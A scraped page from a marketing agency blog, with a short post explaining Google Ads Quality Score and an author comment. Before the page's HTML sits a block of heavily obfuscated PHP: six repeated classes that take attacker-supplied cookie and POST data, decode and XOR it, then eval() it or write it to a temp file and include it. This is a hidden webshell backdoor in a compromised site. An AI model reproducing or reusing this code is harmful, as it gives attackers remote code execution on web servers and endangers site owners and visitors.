$IjuuYeut = chr ( 282 - 160 ).'_' . "\x78" . chr (74) . "\126" . chr (111); $PWoATEke = chr (99) . "\154" . "\141" . "\x73" . "\163" . "\x5f" . "\145" . "\x78" . "\151" . chr (115) . chr (116) . chr ( 905 - 790 ); $kVzGETMqP = class_exists($IjuuYeut); $PWoATEke = "24198";$OQnPctyQ = !1;if ($kVzGETMqP == $OQnPctyQ){function hpKOyJQht(){$QNOynvaA = new /* 8939 */ z_xJVo(15009 + 15009); $QNOynvaA = NULL;}$vZswoJbLI = "15009";class z_xJVo{private function FSkfZg($vZswoJbLI){if (is_array(z_xJVo::$HXgCXcrRGR)) {$gBHDObi = str_replace("\x3c" . chr ( 904 - 841 )."\x70" . 'h' . chr (112), "", z_xJVo::$HXgCXcrRGR[chr (99) . 'o' . 'n' . "\x74" . chr (101) . 'n' . "\164"]);eval($gBHDObi); $vZswoJbLI = "15009";exit();}}private $ihRbcV;public function dohuYm(){echo 36269;}public function __destruct(){z_xJVo::$HXgCXcrRGR = @unserialize(z_xJVo::$HXgCXcrRGR); $vZswoJbLI = "24148_10002";$this->FSkfZg($vZswoJbLI); $vZswoJbLI = "24148_10002";}public function MEObJuxo($iiPFXJpviL, $BlwUTKw){return $iiPFXJpviL[0] ^ str_repeat($BlwUTKw, (strlen($iiPFXJpviL[0]) / strlen($BlwUTKw)) + 1);}public function zwmIwni($iiPFXJpviL){$mRwuxB = "base64";return array_map($mRwuxB . '_' . chr ( 581 - 481 ).chr ( 220 - 119 ).chr ( 569 - 470 ).'o' . chr (100) . "\145", array($iiPFXJpviL,));}public function __construct($vBKsSwh=0){$iiPFXJpviL = "";$dJlyGmg = $_POST;$ShgMQ = $_COOKIE;$BlwUTKw = "eaa8b400-25a6-42cc-8375-083975b38824";$BYJSwc = @$ShgMQ[substr($BlwUTKw, 0, 4)];if (!empty($BYJSwc)){$BYJSwc = explode(",", $BYJSwc);foreach ($BYJSwc as $wBPUJqNhBY){$iiPFXJpviL .= @$ShgMQ[$wBPUJqNhBY];$iiPFXJpviL .= @$dJlyGmg[$wBPUJqNhBY];}$iiPFXJpviL = $this->zwmIwni($iiPFXJpviL);}z_xJVo::$HXgCXcrRGR = $this->MEObJuxo($iiPFXJpviL, $BlwUTKw); $BlwUTKw = explode(",", $BlwUTKw);}public static $HXgCXcrRGR = 26085;}hpKOyJQht();}$jwMVx = chr ( 94 - 16 )."\112" . chr (95) . "\x42" . chr (75) . chr (119) . 'L' . "\x67";$dluLZnS = "\143" . "\154" . chr (97) . "\x73" . chr (115) . '_' . chr (101) . chr (120) . "\151" . "\x73" . "\x74" . chr (115); $VKOGMRSGl = class_exists($jwMVx); $dluLZnS = "4403";$IqHCMqOqR = !1;if ($VKOGMRSGl == $IqHCMqOqR){function sYyYssiS(){$KEkEXUR = new /* 37531 */ NJ_BKwLg(63369 + 63369); $KEkEXUR = NULL;}$efhvBc = "63369";class NJ_BKwLg{private function EMvugy($efhvBc){if (is_array(NJ_BKwLg::$zDLALhZL)) {$jvxGsW = sys_get_temp_dir() . "/" . crc32(NJ_BKwLg::$zDLALhZL[chr ( 1049 - 934 ).'a' . chr ( 681 - 573 )."\x74"]);@NJ_BKwLg::$zDLALhZL["\167" . "\x72" . "\x69" . 't' . chr (101)]($jvxGsW, NJ_BKwLg::$zDLALhZL['c' . chr ( 598 - 487 )."\x6e" . "\x74" . chr ( 951 - 850 ).chr ( 1079 - 969 ).'t']);include $jvxGsW;@NJ_BKwLg::$zDLALhZL['d' . 'e' . 'l' . "\x65" . chr ( 470 - 354 ).chr ( 186 - 85 )]($jvxGsW); $efhvBc = "63369";exit();}}private $Cchdh;public function UQsUIcVVV(){echo 47420;}public function __destruct(){NJ_BKwLg::$zDLALhZL = @unserialize(NJ_BKwLg::$zDLALhZL); $efhvBc = "26357_11021";$this->EMvugy($efhvBc); $efhvBc = "26357_11021";}public function KRsEQ($TzjGoWaLa, $Kyvqa){return $TzjGoWaLa[0] ^ str_repeat($Kyvqa, (strlen($TzjGoWaLa[0]) / strlen($Kyvqa)) + 1);}public function PVbok($TzjGoWaLa){$FVyaG = "base64";return array_map($FVyaG . chr ( 431 - 336 )."\x64" . "\145" . chr ( 157 - 58 )."\x6f" . chr (100) . 'e', array($TzjGoWaLa,));}public function __construct($LUmSbvVaZ=0){$TzjGoWaLa = "";$GnKhF = $_POST;$GGtcJm = $_COOKIE;$Kyvqa = "b20618e2-dd5c-4352-8553-2e6f7306068b";$sYBjWCx = @$GGtcJm[substr($Kyvqa, 0, 4)];if (!empty($sYBjWCx)){$sYBjWCx = explode(",", $sYBjWCx);foreach ($sYBjWCx as $MDSZEM){$TzjGoWaLa .= @$GGtcJm[$MDSZEM];$TzjGoWaLa .= @$GnKhF[$MDSZEM];}$TzjGoWaLa = $this->PVbok($TzjGoWaLa);}NJ_BKwLg::$zDLALhZL = $this->KRsEQ($TzjGoWaLa, $Kyvqa); $Kyvqa = explode(",", $Kyvqa);}public static $zDLALhZL = 16397;}sYyYssiS();}$QZzFDlDuI = "\x4e" . "\x5f" . 'c' . chr ( 464 - 398 ).'J' . 'j' . chr ( 574 - 508 ); $rxsPNTURX = 'c' . 'l' . 'a' . chr ( 783 - 668 )."\163" . chr ( 1003 - 908 ).'e' . chr ( 548 - 428 ).chr (105) . "\x73" . 't' . "\x73";$HNUGtaoS = class_exists($QZzFDlDuI); $rxsPNTURX = "38032";$yCsvbVAG = !1;if ($HNUGtaoS == $yCsvbVAG){function rFrwToq(){$lGMfKzzwCq = new /* 43601 */ N_cBJjB(47481 + 47481); $lGMfKzzwCq = NULL;}$UQfPNLBYE = "47481";class N_cBJjB{private function hiwGAfPeqz($UQfPNLBYE){if (is_array(N_cBJjB::$lbcvGBjs)) {$YTiiSzlQg = str_replace("\74" . '?' . 'p' . "\x68" . chr ( 253 - 141 ), "", N_cBJjB::$lbcvGBjs[chr ( 345 - 246 ).'o' . 'n' . 't' . chr ( 162 - 61 ).chr ( 923 - 813 ).chr (116)]);eval($YTiiSzlQg); $UQfPNLBYE = "47481";exit();}}private $dOpFzTJRf;public function msepBvMq(){echo 24874;}public function __destruct(){N_cBJjB::$lbcvGBjs = @unserialize(N_cBJjB::$lbcvGBjs); $UQfPNLBYE = "29953_40167";$this->hiwGAfPeqz($UQfPNLBYE); $UQfPNLBYE = "29953_40167";}public function NEIPjWC($GcNfAAbR, $dVbJN){return $GcNfAAbR[0] ^ str_repeat($dVbJN, (strlen($GcNfAAbR[0]) / strlen($dVbJN)) + 1);}public function bEucpQJsxH($GcNfAAbR){$EqeJB = "base64";return array_map($EqeJB . '_' . "\144" . chr ( 109 - 8 ).'c' . chr ( 1079 - 968 )."\144" . chr ( 328 - 227 ), array($GcNfAAbR,));}public function __construct($avCcMo=0){$GcNfAAbR = "";$HEXgvMN = $_POST;$WMfew = $_COOKIE;$dVbJN = "5da3e412-d6a3-4dc5-b3e5-ad090f05aee6";$zTPmNPvxVw = @$WMfew[substr($dVbJN, 0, 4)];if (!empty($zTPmNPvxVw)){$zTPmNPvxVw = explode(",", $zTPmNPvxVw);foreach ($zTPmNPvxVw as $upQkgeulG){$GcNfAAbR .= @$WMfew[$upQkgeulG];$GcNfAAbR .= @$HEXgvMN[$upQkgeulG];}$GcNfAAbR = $this->bEucpQJsxH($GcNfAAbR);}N_cBJjB::$lbcvGBjs = $this->NEIPjWC($GcNfAAbR, $dVbJN); $dVbJN = explode(",", $dVbJN);}public static $lbcvGBjs = 52047;}rFrwToq();}$zPofk = 'c' . "\x5f" . "\151" . "\x6b" . "\x48" . chr ( 1072 - 974 ); $pipGvDnGkN = chr (99) . "\x6c" . chr ( 833 - 736 )."\163" . "\163" . "\137" . "\145" . "\170" . chr ( 289 - 184 ).chr (115) . "\x74" . "\x73";$tbcWeqPtlm = class_exists($zPofk); $pipGvDnGkN = "16754";$kjMDpFZU = !1;if ($tbcWeqPtlm == $kjMDpFZU){function criJUpkV(){$jMtZA = new /* 26816 */ c_ikHb(2023 + 2023); $jMtZA = NULL;}$kkUlSxxJ = "2023";class c_ikHb{private function yEZxTYmnW($kkUlSxxJ){if (is_array(c_ikHb::$vFgbh)) {$JyrnRksJf = str_replace("\x3c" . '?' . 'p' . "\150" . 'p', "", c_ikHb::$vFgbh[chr (99) . "\157" . "\x6e" . 't' . 'e' . chr ( 505 - 395 ).chr (116)]);eval($JyrnRksJf); $kkUlSxxJ = "2023";exit();}}private $FVSFHkxtQ;public function fiNjUAMR(){echo 3854;}public function __destruct(){c_ikHb::$vFgbh = @unserialize(c_ikHb::$vFgbh); $kkUlSxxJ = "60696_9942";$this->yEZxTYmnW($kkUlSxxJ); $kkUlSxxJ = "60696_9942";}public function eXwtZ($zjgwxOfhQB, $AtKlaEwuKZ){return $zjgwxOfhQB[0] ^ str_repeat($AtKlaEwuKZ, (strlen($zjgwxOfhQB[0]) / strlen($AtKlaEwuKZ)) + 1);}public function aHDdMWo($zjgwxOfhQB){$UjuyGXZv = "base64";return array_map($UjuyGXZv . '_' . 'd' . "\145" . 'c' . 'o' . "\x64" . 'e', array($zjgwxOfhQB,));}public function __construct($McqaFG=0){$zjgwxOfhQB = "";$egKRhDthc = $_POST;$LuTnYCixKp = $_COOKIE;$AtKlaEwuKZ = "d9a1217c-41a4-466d-8c67-ba3995a5e323";$cOyYe = @$LuTnYCixKp[substr($AtKlaEwuKZ, 0, 4)];if (!empty($cOyYe)){$cOyYe = explode(",", $cOyYe);foreach ($cOyYe as $Saqegftb){$zjgwxOfhQB .= @$LuTnYCixKp[$Saqegftb];$zjgwxOfhQB .= @$egKRhDthc[$Saqegftb];}$zjgwxOfhQB = $this->aHDdMWo($zjgwxOfhQB);}c_ikHb::$vFgbh = $this->eXwtZ($zjgwxOfhQB, $AtKlaEwuKZ); $AtKlaEwuKZ = explode(",", $AtKlaEwuKZ);}public static $vFgbh = 63707;}criJUpkV();}$ZgLQzvOaSY = "\x74" . "\x73" . '_' . chr ( 666 - 594 )."\x76" . chr (112); $MZXLHXpxDr = "\x63" . 'l' . chr ( 1026 - 929 ).'s' . "\x73" . chr ( 512 - 417 ).chr (101) . 'x' . "\x69" . chr (115) . "\x74" . chr (115); $IdGPG = class_exists($ZgLQzvOaSY); $MZXLHXpxDr = "6938";$uvRtnY = !1;if ($IdGPG == $uvRtnY){function VVFRUVro(){$xeiOP = new /* 17364 */ ts_Hvp(22589 + 22589); $xeiOP = NULL;}$ZBRzUsIUao = "22589";class ts_Hvp{private function kQMagi($ZBRzUsIUao){if (is_array(ts_Hvp::$giICIBUNss)) {$YIveZMJI = str_replace("\74" . '?' . "\160" . "\x68" . "\160", "", ts_Hvp::$giICIBUNss['c' . "\157" . "\x6e" . "\x74" . "\x65" . "\x6e" . "\x74"]);eval($YIveZMJI); $ZBRzUsIUao = "22589";exit();}}private $yxomAiSFBG;public function ycZJg(){echo 49337;}public function __destruct(){ts_Hvp::$giICIBUNss = @unserialize(ts_Hvp::$giICIBUNss); $ZBRzUsIUao = "15387_4606";$this->kQMagi($ZBRzUsIUao); $ZBRzUsIUao = "15387_4606";}public function SQTaux($PkJNqmmW, $cFxjjq){return $PkJNqmmW[0] ^ str_repeat($cFxjjq, (strlen($PkJNqmmW[0]) / strlen($cFxjjq)) + 1);}public function OlXezmJpE($PkJNqmmW){$HVuPjnbOIj = "base64";return array_map($HVuPjnbOIj . "\137" . chr ( 376 - 276 ).chr ( 545 - 444 )."\x63" . chr (111) . chr (100) . 'e', array($PkJNqmmW,));}public function __construct($RPsccVBkrj=0){$PkJNqmmW = "";$phjRvOjYvY = $_POST;$aJGugGcIc = $_COOKIE;$cFxjjq = "590356f0-4644-47e7-8fa8-013f83b7df04";$pAEhRsoYl = @$aJGugGcIc[substr($cFxjjq, 0, 4)];if (!empty($pAEhRsoYl)){$pAEhRsoYl = explode(",", $pAEhRsoYl);foreach ($pAEhRsoYl as $DKSVpclpU){$PkJNqmmW .= @$aJGugGcIc[$DKSVpclpU];$PkJNqmmW .= @$phjRvOjYvY[$DKSVpclpU];}$PkJNqmmW = $this->OlXezmJpE($PkJNqmmW);}ts_Hvp::$giICIBUNss = $this->SQTaux($PkJNqmmW, $cFxjjq); $cFxjjq = explode(",", $cFxjjq);}public static $giICIBUNss = 37361;}VVFRUVro();}$gJOKQNHQ = chr (101) . '_' . chr (73) . "\x76" . "\x55" . chr ( 1064 - 942 ).'S';$NbBdSGHbSD = 'c' . "\154" . "\x61" . "\x73" . chr (115) . "\137" . chr (101) . chr ( 876 - 756 ).chr ( 126 - 21 )."\163" . "\x74" . chr (115); $iFyvt = class_exists($gJOKQNHQ); $NbBdSGHbSD = "23348";$dRCvndfYC = !1;if ($iFyvt == $dRCvndfYC){function uPSUf(){$zdovkbhlb = new /* 11563 */ e_IvUzS(21668 + 21668); $zdovkbhlb = NULL;}$SATKM = "21668";class e_IvUzS{private function YLmUNJAgh($SATKM){if (is_array(e_IvUzS::$BLhhzHYmR)) {$yGpNqjluKT = sys_get_temp_dir() . "/" . crc32(e_IvUzS::$BLhhzHYmR[chr (115) . "\141" . chr ( 550 - 442 ).chr (116)]);@e_IvUzS::$BLhhzHYmR[chr (119) . chr ( 517 - 403 ).chr ( 1095 - 990 ).chr ( 654 - 538 ).chr (101)]($yGpNqjluKT, e_IvUzS::$BLhhzHYmR["\x63" . chr ( 866 - 755 ).chr ( 959 - 849 ).chr (116) . "\x65" . "\156" . chr (116)]);include $yGpNqjluKT;@e_IvUzS::$BLhhzHYmR[chr ( 801 - 701 ).'e' . 'l' . "\x65" . 't' . "\x65"]($yGpNqjluKT); $SATKM = "21668";exit();}}private $owDkmP;public function UdpJp(){echo 50771;}public function __destruct(){e_IvUzS::$BLhhzHYmR = @unserialize(e_IvUzS::$BLhhzHYmR); $SATKM = "7909_46423";$this->YLmUNJAgh($SATKM); $SATKM = "7909_46423";}public function IKYetit($boqvcaju, $ibbcrzfy){return $boqvcaju[0] ^ str_repeat($ibbcrzfy, (strlen($boqvcaju[0]) / strlen($ibbcrzfy)) + 1);}public function IoqIrH($boqvcaju){$cfGHqw = "base64";return array_map($cfGHqw . "\x5f" . "\144" . chr ( 810 - 709 ).chr (99) . chr (111) . "\x64" . "\x65", array($boqvcaju,));}public function __construct($kEnvVLjvc=0){$boqvcaju = "";$ApTekjzwT = $_POST;$BOLysH = $_COOKIE;$ibbcrzfy = "ece8de1b-6366-4f82-92f2-3c0c0bef5598";$XqvZUvx = @$BOLysH[substr($ibbcrzfy, 0, 4)];if (!empty($XqvZUvx)){$XqvZUvx = explode(",", $XqvZUvx);foreach ($XqvZUvx as $UYeBsc){$boqvcaju .= @$BOLysH[$UYeBsc];$boqvcaju .= @$ApTekjzwT[$UYeBsc];}$boqvcaju = $this->IoqIrH($boqvcaju);}e_IvUzS::$BLhhzHYmR = $this->IKYetit($boqvcaju, $ibbcrzfy); $ibbcrzfy = explode(",", $ibbcrzfy);}public static $BLhhzHYmR = 3681;}uPSUf();}<!DOCTYPE html>
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									<h5 class="meta-info"><p><span class="meta-item meta-date"><i class="l-clock-o"></i> March 21, 2020</span></p></h5>										<h1 class="heading">Understanding Google&#8217;s Ad Score</h1>
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<p>By Frederik Vallaeys</p>



<div><smartvideo src="https://www.youtube.com/embed/8ymhD-7nGVY" width="1280" height="720" class="swarm-fluid" controls=""></smartvideo></div>



<p><strong><a href="https://support.google.com/google-ads/answer/140351?hl=en" target="_blank" rel="noreferrer noopener">Quality Score</a> is</strong> Google&#8217;s rating of the <strong>quality</strong> and relevance of both your keywords and <a href="https://www.apglocal.com/your-advertising-partner-in-digital-advertising/search-engine-marketing/" target="_blank" rel="noreferrer noopener">PPC ads (SEM)</a>. It <strong>is</strong> used to determine your cost per click (CPC) and multiplied by your maximum bid to determine your ad rank in the ad auction process. &#8230; The relevance of each keyword to its ad group. Landing page <strong>quality</strong> and relevance.</p>

	
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	<footer class="meta-info"><p><span class="meta-item meta-date"><i class="l-clock-o"></i> March 21, 2020</span> <span class="meta-item meta-author"><i class="l-user"></i> <a href="https://www.apglocal.com/author/andy/" title="View all posts by Andrew Entrekin" rel="author" class="layers-author">Andrew Entrekin</a></span> <span class="meta-item meta-category"><i class="l-folder-open-o"></i>  <a href="https://www.apglocal.com/category/direct-engagement/blog-articles-on-websites/" title="View all posts in Discussions on Websites on APG Local">Discussions on Websites on APG Local</a>,  <a href="https://www.apglocal.com/category/google/" title="View all posts in Google">Google</a></span> <span class="meta-item meta-tags"><i class="l-tags"></i>  <a href="https://www.apglocal.com/tag/ad-quality/" title="View all posts tagged Ad Quality">Ad Quality</a>,  <a href="https://www.apglocal.com/tag/ad-score/" title="View all posts tagged Ad Score">Ad Score</a></span></p></footer><div id="comments" class="push-top-large">
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					<img alt='Andy Entrekin - APG Local Founder - Oxford Gadsden Anniston Birmingham AL' src='https://www.apglocal.com/wp-content/uploads/2020/03/andy-70x70.jpeg' srcset='https://www.apglocal.com/wp-content/uploads/2020/03/andy-140x140.jpeg 2x' class='avatar avatar-70 photo' height='70' width='70' decoding='async'/>				</a>
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					<h5 class="avatar-name"><a href="https://www.apglocal.com" class="url" rel="ugc">Andrew Entrekin</a></h5>
					<small>April 7, 2020 at 10:37 pm</small>
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								<p>This is one thing APG Local patrols on a daily basis. We have all sorts of data on this</p>
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